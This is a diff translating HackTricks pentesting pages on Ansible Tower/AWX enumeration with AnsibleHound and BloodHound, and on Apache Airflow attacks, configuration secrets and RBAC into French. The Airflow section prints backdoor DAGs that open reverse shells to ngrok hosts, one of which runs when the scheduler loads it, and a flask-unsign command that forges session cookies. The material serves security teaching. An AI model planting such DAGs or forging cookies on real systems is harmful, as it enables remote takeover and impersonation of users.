1. L'API REST de Tower/AWX est extrêmement riche et expose **chaque objet et relation RBAC** que votre instance connaît.
|
||||
2. Même avec le jeton de privilège le plus bas (**Lire**), il est possible d'énumérer de manière récursive toutes les ressources accessibles (organisations, inventaires, hôtes, identifiants, projets, modèles de travail, utilisateurs, équipes…).
|
||||
3. Lorsque les données brutes sont converties au schéma BloodHound, vous obtenez les mêmes capacités de visualisation des *chemins d'attaque* qui sont si populaires dans les évaluations Active Directory – mais maintenant dirigées vers votre estate CI/CD.
|
||||
|
||||
Security teams (and attackers!) can therefore:
|
||||
* Quickly understand **who can become admin of what**.
|
||||
* Identify **credentials or hosts that are reachable** from an unprivileged account.
|
||||
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
|
||||
Les équipes de sécurité (et les attaquants !) peuvent donc :
|
||||
* Comprendre rapidement **qui peut devenir admin de quoi**.
|
||||
* Identifier **les identifiants ou hôtes qui sont accessibles** depuis un compte non privilégié.
|
||||
* Enchaîner plusieurs bords “Lire ➜ Utiliser ➜ Exécuter ➜ Admin” pour obtenir un contrôle total sur l'instance Tower ou l'infrastructure sous-jacente.
|
||||
|
||||
### Prerequisites
|
||||
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
|
||||
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
|
||||
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
|
||||
### Prérequis
|
||||
* Ansible Tower / AWX / Automation Controller accessible via HTTPS.
|
||||
* Un jeton API utilisateur limité à **Lire** uniquement (créé à partir de *Détails de l'utilisateur → Jetons → Créer un jeton → portée = Lire*).
|
||||
* Go ≥ 1.20 pour compiler le collecteur (ou utiliser les binaires préconstruits).
|
||||
|
||||
### Building & Running
|
||||
### Construction & Exécution
|
||||
```bash
|
||||
# Compile the collector
|
||||
cd collector
|
||||
@@ -164,7 +162,7 @@ go build . -o build/ansiblehound
|
||||
# Execute against the target instance
|
||||
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
|
||||
```
|
||||
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
|
||||
En interne, AnsibleHound effectue des requêtes `GET` *paginées* contre (au moins) les points de terminaison suivants et suit automatiquement les liens `related` renvoyés dans chaque objet JSON :
|
||||
```
|
||||
/api/v2/organizations/
|
||||
/api/v2/inventories/
|
||||
@@ -175,37 +173,32 @@ Internally AnsibleHound performs *paginated* `GET` requests against (at least) t
|
||||
/api/v2/users/
|
||||
/api/v2/teams/
|
||||
```
|
||||
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
|
||||
Tous les fichiers collectés sont fusionnés en un seul fichier JSON sur le disque (par défaut : `ansiblehound-output.json`).
|
||||
|
||||
### BloodHound Transformation
|
||||
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
|
||||
### Transformation BloodHound
|
||||
Les données brutes de Tower sont ensuite **transformées en BloodHound OpenGraph** en utilisant des nœuds personnalisés préfixés par `AT` (Ansible Tower) :
|
||||
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
|
||||
|
||||
And edges modelling relationships / privileges:
|
||||
Et des arêtes modélisant les relations / privilèges :
|
||||
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
|
||||
|
||||
The result can be imported straight into BloodHound:
|
||||
Le résultat peut être importé directement dans BloodHound :
|
||||
```bash
|
||||
neo4j stop # if BloodHound CE is running locally
|
||||
bloodhound-import ansiblehound-output.json
|
||||
```
|
||||
|
||||
Optionally you can upload **custom icons** so that the new node types are visually distinct:
|
||||
Optionnellement, vous pouvez télécharger **des icônes personnalisées** afin que les nouveaux types de nœuds soient visuellement distincts :
|
||||
```bash
|
||||
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
|
||||
```
|
||||
### Considérations Défensives & Offensives
|
||||
* Un *token de lecture* est normalement considéré comme inoffensif mais fuit toujours la **topologie complète et chaque métadonnée d'identification**. Traitez-le comme sensible !
|
||||
* Appliquez le **principe du moindre privilège** et faites tourner / révoquez les tokens inutilisés.
|
||||
* Surveillez l'API pour une énumération excessive (multiples requêtes `GET` séquentielles, activité de pagination élevée).
|
||||
* Du point de vue d'un attaquant, c'est une technique parfaite *point d'entrée initial → élévation de privilèges* à l'intérieur du pipeline CI/CD.
|
||||
|
||||
### Defensive & Offensive Considerations
|
||||
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
|
||||
* Enforce **least privilege** and rotate / revoke unused tokens.
|
||||
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
|
||||
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
|
||||
|
||||
## References
|
||||
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
## Références
|
||||
* [AnsibleHound – Collecteur BloodHound pour Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,22 @@
|
||||
# Apache Airflow Security
|
||||
# Sécurité d'Apache Airflow
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Informations de base
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org) sert de plateforme pour **l'orchestration et la planification de pipelines de données ou de workflows**. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de workflows de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et exploitables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux pour le fonctionnement des applications de big data.
|
||||
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
En gros, Apache Airflow vous permettra de **planifier l'exécution de code lorsque quelque chose** (événement, cron) **se produit**.
|
||||
|
||||
### Local Lab
|
||||
### Laboratoire local
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
Vous pouvez utiliser le **fichier de configuration docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) pour lancer un environnement docker apache airflow complet. (Si vous êtes sur MacOS, assurez-vous de donner au moins 6 Go de RAM à la VM docker).
|
||||
|
||||
#### Minikube
|
||||
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
Une façon simple de **faire fonctionner apache airflow** est de l'exécuter **avec minikube** :
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Configuration d'Airflow
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
Airflow peut stocker des **informations sensibles** dans sa configuration ou vous pouvez trouver des configurations faibles en place :
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
{{#endref}}
|
||||
|
||||
### Airflow RBAC
|
||||
### RBAC d'Airflow
|
||||
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
Avant de commencer à attaquer Airflow, vous devez comprendre **comment fonctionnent les permissions** :
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Attacks
|
||||
### Attaques
|
||||
|
||||
#### Web Console Enumeration
|
||||
#### Énumération de la Console Web
|
||||
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
Si vous avez **accès à la console web**, vous pourriez être en mesure d'accéder à certaines ou à toutes les informations suivantes :
|
||||
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
- **Variables** (Des informations sensibles personnalisées peuvent être stockées ici)
|
||||
- **Connexions** (Des informations sensibles personnalisées peuvent être stockées ici)
|
||||
- Accédez-y dans `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](./#airflow-configuration) (Des informations sensibles comme le **`secret_key`** et des mots de passe peuvent être stockées ici)
|
||||
- Liste des **utilisateurs et rôles**
|
||||
- **Code de chaque DAG** (qui peut contenir des informations intéressantes)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
#### Récupérer les Valeurs des Variables
|
||||
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
Les variables peuvent être stockées dans Airflow afin que les **DAGs** puissent **accéder** à leurs valeurs. C'est similaire aux secrets d'autres plateformes. Si vous avez **suffisamment de permissions**, vous pouvez y accéder dans l'interface graphique à `http://<airflow>/variable/list/`.\
|
||||
Airflow affichera par défaut la valeur de la variable dans l'interface graphique, cependant, selon [**ceci**](https://marclamberti.com/blog/variables-with-apache-airflow/), il est possible de définir une **liste de variables** dont la **valeur** apparaîtra sous forme de **caractères masqués** dans l'**interface graphique**.
|
||||
|
||||
.png>)
|
||||
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
Cependant, ces **valeurs** peuvent toujours être **récupérées** via **CLI** (vous devez avoir accès à la base de données), exécution de **DAG** arbitraire, **API** accédant au point de terminaison des variables (l'API doit être activée), et **même l'interface graphique elle-même !**\
|
||||
Pour accéder à ces valeurs depuis l'interface graphique, il suffit de **sélectionner les variables** que vous souhaitez accéder et de **cliquer sur Actions -> Exporter**.\
|
||||
Une autre méthode consiste à effectuer un **bruteforce** sur la **valeur cachée** en utilisant le **filtrage de recherche** jusqu'à ce que vous l'obteniez :
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
#### Escalade de Privilèges
|
||||
|
||||
Si la configuration **`expose_config`** est définie sur **True**, à partir du **rôle Utilisateur** et **au-dessus**, il est possible de **lire** la **configuration sur le web**. Dans cette configuration, le **`secret_key`** apparaît, ce qui signifie que tout utilisateur avec cette validité peut **créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Backdoor (RCE dans le worker Airflow)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
Si vous avez **un accès en écriture** à l'endroit où les **DAGs sont sauvegardés**, vous pouvez simplement **en créer un** qui vous enverra un **reverse shell.**\
|
||||
Notez que ce reverse shell sera exécuté à l'intérieur d'un **conteneur de worker airflow** :
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -105,74 +100,66 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Backdoor (RCE dans le planificateur Airflow)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
Si vous définissez quelque chose pour être **exécuté à la racine du code**, au moment de l'écriture de ce document, il sera **exécuté par le planificateur** après quelques secondes après l'avoir placé dans le dossier du DAG.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### Création de DAG
|
||||
|
||||
#### DAG Creation
|
||||
Si vous parvenez à **compromettre une machine à l'intérieur du cluster DAG**, vous pouvez créer de nouveaux **scripts DAG** dans le dossier `dags/` et ils seront **répliqués dans le reste des machines** à l'intérieur du cluster DAG.
|
||||
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
#### Injection de Code DAG
|
||||
|
||||
#### DAG Code Injection
|
||||
Lorsque vous exécutez un DAG depuis l'interface graphique, vous pouvez **passer des arguments** à celui-ci.\
|
||||
Par conséquent, si le DAG n'est pas correctement codé, il pourrait être **vulnérable à l'injection de commandes.**\
|
||||
C'est ce qui s'est passé dans ce CVE : [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
Tout ce que vous devez savoir pour **commencer à chercher des injections de commandes dans les DAGs** est que les **paramètres** sont **accédés** avec le code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
De plus, la même vulnérabilité pourrait se produire avec des **variables** (notez qu'avec suffisamment de privilèges, vous pourriez **contrôler la valeur des variables** dans l'interface graphique). Les variables sont **accessibles avec** :
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
S'ils sont utilisés par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,114 +1,105 @@
|
||||
# Airflow Configuration
|
||||
# Configuration Airflow
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Configuration File
|
||||
## Fichier de Configuration
|
||||
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
**Apache Airflow** génère un **fichier de config** sur toutes les machines airflow appelé **`airflow.cfg`** dans le répertoire personnel de l'utilisateur airflow. Ce fichier de config contient des informations de configuration et **peut contenir des informations intéressantes et sensibles.**
|
||||
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
**Il existe deux façons d'accéder à ce fichier : en compromettant une machine airflow ou en accédant à la console web.**
|
||||
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
Notez que les **valeurs à l'intérieur du fichier de config** **peuvent ne pas être celles utilisées**, car vous pouvez les écraser en définissant des variables d'environnement telles que `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
Si vous avez accès au **fichier de config sur le serveur web**, vous pouvez vérifier la **vraie configuration en cours** sur la même page où la config est affichée.\
|
||||
Si vous avez **accès à une machine dans l'environnement airflow**, vérifiez l'**environnement**.
|
||||
|
||||
Some interesting values to check when reading the config file:
|
||||
Quelques valeurs intéressantes à vérifier lors de la lecture du fichier de config :
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
- **`access_control_allow_headers`** : Cela indique les **en-têtes autorisés** pour **CORS**
|
||||
- **`access_control_allow_methods`** : Cela indique les **méthodes autorisées** pour **CORS**
|
||||
- **`access_control_allow_origins`** : Cela indique les **origines autorisées** pour **CORS**
|
||||
- **`auth_backend`** : [**Selon la documentation**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html), quelques options peuvent être mises en place pour configurer qui peut accéder à l'API :
|
||||
- `airflow.api.auth.backend.deny_all` : **Par défaut, personne** ne peut accéder à l'API
|
||||
- `airflow.api.auth.backend.default` : **Tout le monde peut** y accéder sans authentification
|
||||
- `airflow.api.auth.backend.kerberos_auth` : Pour configurer **l'authentification kerberos**
|
||||
- `airflow.api.auth.backend.basic_auth` : Pour **l'authentification basique**
|
||||
- `airflow.composer.api.backend.composer_auth` : Utilise l'authentification des compositeurs (GCP) (depuis [**ici**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role` : Cela indique le **rôle** que l'**utilisateur compositeur** obtiendra dans **airflow** (**Op** par défaut).
|
||||
- Vous pouvez également **créer votre propre méthode d'authentification** avec python.
|
||||
- **`google_key_path`** : Chemin vers la **clé de compte de service GCP**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
- **`password`** : Mot de passe Atlas
|
||||
- **`username`** : Nom d'utilisateur Atlas
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
- **`flower_basic_auth`** : Identifiants (_user1:password1,user2:password2_)
|
||||
- **`result_backend`** : URL Postgres qui peut contenir des **identifiants**.
|
||||
- **`ssl_cacert`** : Chemin vers le cacert
|
||||
- **`ssl_cert`** : Chemin vers le cert
|
||||
- **`ssl_key`** : Chemin vers la clé
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
- **`dag_discovery_safe_mode`** : Activé par défaut. Lors de la découverte des DAGs, ignorez tous les fichiers qui ne contiennent pas les chaînes `DAG` et `airflow`.
|
||||
- **`fernet_key`** : Clé pour stocker des variables chiffrées (symétrique)
|
||||
- **`hide_sensitive_var_conn_fields`** : Activé par défaut, cache les informations sensibles des connexions.
|
||||
- **`security`** : Quel module de sécurité utiliser (par exemple kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
- **`tls_ca`** : Chemin vers ca
|
||||
- **`tls_cert`** : Chemin vers le cert
|
||||
- **`tls_key`** : Chemin vers la clé tls
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
- **`ccache`** : Chemin vers le fichier ccache
|
||||
- **`forwardable`** : Activé par défaut
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
- **`google_key_path`** : Chemin vers les identifiants JSON GCP.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
- **`backend`** : Nom complet de la classe du backend des secrets à activer
|
||||
- **`backend_kwargs`** : Le paramètre backend_kwargs est chargé dans un dictionnaire et passé à **init** de la classe du backend des secrets.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
- **`smtp_password`** : Mot de passe SMTP
|
||||
- **`smtp_user`** : Utilisateur SMTP
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
- **`cookie_samesite`** : Par défaut, c'est **Lax**, donc c'est déjà la valeur la plus faible possible
|
||||
- **`cookie_secure`** : Définir le **drapeau sécurisé** sur le cookie de session
|
||||
- **`expose_config`** : Par défaut, c'est Faux, si vrai, la **config** peut être **lue** depuis la **console** web
|
||||
- **`expose_stacktrace`** : Par défaut, c'est Vrai, cela affichera les **tracebacks python** (potentiellement utiles pour un attaquant)
|
||||
- **`secret_key`** : C'est la **clé utilisée par flask pour signer les cookies** (si vous avez cela, vous pouvez **usurper l'identité de n'importe quel utilisateur dans Airflow**)
|
||||
- **`web_server_ssl_cert`** : **Chemin** vers le **certificat** **SSL**
|
||||
- **`web_server_ssl_key`** : **Chemin** vers la **clé** **SSL**
|
||||
- **`x_frame_enabled`** : Par défaut, c'est **Vrai**, donc par défaut le clickjacking n'est pas possible
|
||||
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
### Authentification Web
|
||||
|
||||
Par défaut, l'**authentification web** est spécifiée dans le fichier **`webserver_config.py`** et est configurée comme
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
Ce qui signifie que **l'authentification est vérifiée par rapport à la base de données**. Cependant, d'autres configurations sont possibles comme
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Pour laisser l'**authentification aux services tiers**.
|
||||
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
Cependant, il existe également une option pour **permettre l'accès aux utilisateurs anonymes**, en définissant le paramètre suivant au **rôle souhaité** :
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,43 +4,40 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
(Des docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow est livré avec un **ensemble de rôles par défaut** : **Admin**, **User**, **Op**, **Viewer**, et **Public**. **Seuls les utilisateurs `Admin`** peuvent **configurer/modifier les permissions pour d'autres rôles**. Mais il n'est pas recommandé que les utilisateurs `Admin` modifient ces rôles par défaut de quelque manière que ce soit en supprimant ou en ajoutant des permissions à ces rôles.
|
||||
|
||||
